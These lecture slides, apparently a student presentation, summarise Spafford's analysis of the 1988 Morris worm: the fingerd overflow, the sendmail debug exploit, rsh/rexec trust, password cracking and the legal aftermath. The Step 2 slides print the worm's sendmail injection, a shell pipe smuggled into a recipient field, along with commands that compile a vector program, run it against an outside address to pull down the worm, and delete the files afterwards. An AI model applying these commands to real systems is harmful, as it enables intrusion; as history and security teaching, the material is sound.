Crisis And Aftermath

Eugene H. Spafford
이희범

Contents

Introduction

Worm vs. Virus

	Worm	Virus
Can run independently?	Yes	No
How this operated?	Consume the resource of its host	Insert itself into a host's some program
When invoked?	Itself	When infected program is running
Target	Several systems	Target machine

Morris Worm

- On the evening of November 2, 1988 MIT
- Infect Sun 3 systems and VAX computer running variants of 4 BSD UNIX
- Systems became so loaded that they were unable to continue any processing.

How the worm operated

- The worm took advantage of some flaws in standard software installed on UNIX.
  - (fingerd, sendmail)
- It also took advantage of a mechanism used to simplify the sharing of resources in local area networks
  - (rsh, rexec)

Fingerd

- **finger** : allows user to obtain information about other user over TPC(79)/IP
  - Common Unix systems run a demon of finger (fingerd)
  - The worm broke **fingerd** program by “buffer overflow”
    - The worm exploited *gets()* (no bound checking) call

Sendmail

- **sendmail** is mailer program to route mail in a heterogeneous network.
- By debug option, tester can run programs to display the state of the mail system without sending mail or establishing a separate login connection.
- Worm uses debug option to invoke set of commands instead of user address

rsh, rexec

- rsh and rexec are remote command execution services.
- rsh (client IP, user ID)
- rexec (user ID, Password)

Password

- Password mechanism in UNIX system
  1. Insert password
  2. “Encryption standard algorithm” encrypted
  3. Compare with Previously encrypted password
  4. If it is same, we get a accessibility

Password

- Multiple processor and processor speed up
- Tendency of users to choose common words as their passwords

- Ways to reduce the risk of such attacks
  - Shadow file
  - Time delay and Threshold
  - Change utility

Worm

- Main Program : collect information on other machines in the network and attack
- Vector Program : Program which install main program

Attack method(1)

- Rsh – simply try and success cases
  - Remote machine had a hosts.equiv file or
  - The user had a .rhosts file
- Rexec – if worm knows password
  - Simply try
  - Users often have the same password on their accounts on muiltiple machines

Cracking Password

1. Collect info
   - /etc/hosts.equiv and /.rhosts
   - /etc/passwd
   - .forward
2. Cracking passwd using simple choices
3. Cracking passwd with an internal dictionary of words
4. Cracking passwd with /usr/dict/words

Attack method(2)

- Fingerd – 1.connection 2. input 3. output
  - Transmit specially constructed string of 536bytes
  - Stack overflow attacking
  - Change the return stack frame for main
  - *execve("/bin/sh", 0 , 0)*

Attack method(3)

- Sendmail
  - Use debug mode
  - Transmit command instead of recv address

Step 1

- A socket was established
- Magic number was generated
- Random file name was generated

Step 2

```
PATH=/bin: /usr/bin: /usr/ucb
cd /usr/tmp
echo gorch49; sed '/int zz/q'
> x14481910.c; echo gorch 50
[text of vector program]
int zz;
```

```
Debug
mail from: </dev/null>
rcpt to: <"|sed –e '1,/^$/'d | /bin/sh ; exit 0" >
    data
    cd /usr/tmp
    cat > x14481910.c << 'EOF'
    [text of vector ..]
    EOF
```

```
cc –o x14481910 x14481910.c
./x1448190 128.32.134.16 32341 8712440
rm –f x14481910 x14481910.c
Quit
```

Step 3

- Vector connected to the ‘server’
  - Transfer 3 files
    - Sun3, VAX binary version of worm
    - Source code of Vector
- Vector became a shell with its input, output still connected to the server
  - Using *execl*

Step 4

- For each object files, the worm tries to build an executable object.
- If successively execute, the worm kills the command interpreter and shuts down the connect
- Otherwise it clear away all evidence of the attempt at infection

Step 5

- New worm hides itself
  - Obscuring its argument vector
  - Unlinking the binary version of itself
  - Killing its parent
  - Read worm binary into memory and encrypt
  - And delete file from disk

Step 6

- The worm gathers information about
  - Network interface
  - Hosts to which the local machines was connected
- Using *ioctl*, *netstat*
- It built lists of these in memory

Step 7

- Tries to infect some from the list
- Check reachability using telnet, rexec

Characteristics

- Check for other worms running
- One of 7 worms become immortal
- Fork itself and kill parent
  - Change pid, scheduling priority
- Re-infect the same machine every 12 hours
- No damaging code
- There are no stop code

Aftermath

- First worm
- Around 6000 major UNIX machines were infected (10% of the network at that time)
- Important nation-wide gateways were shutdown
- Topic debated
  - punishment

Aftermath(cont)

- Robert T. Morris arrested
- He just want to make a tool to gauge the size of the internet
  - [Computer Fraud and Abuse Act 86]
  - 3 years probation, fine, community service
- Computer Emergency Response Team was established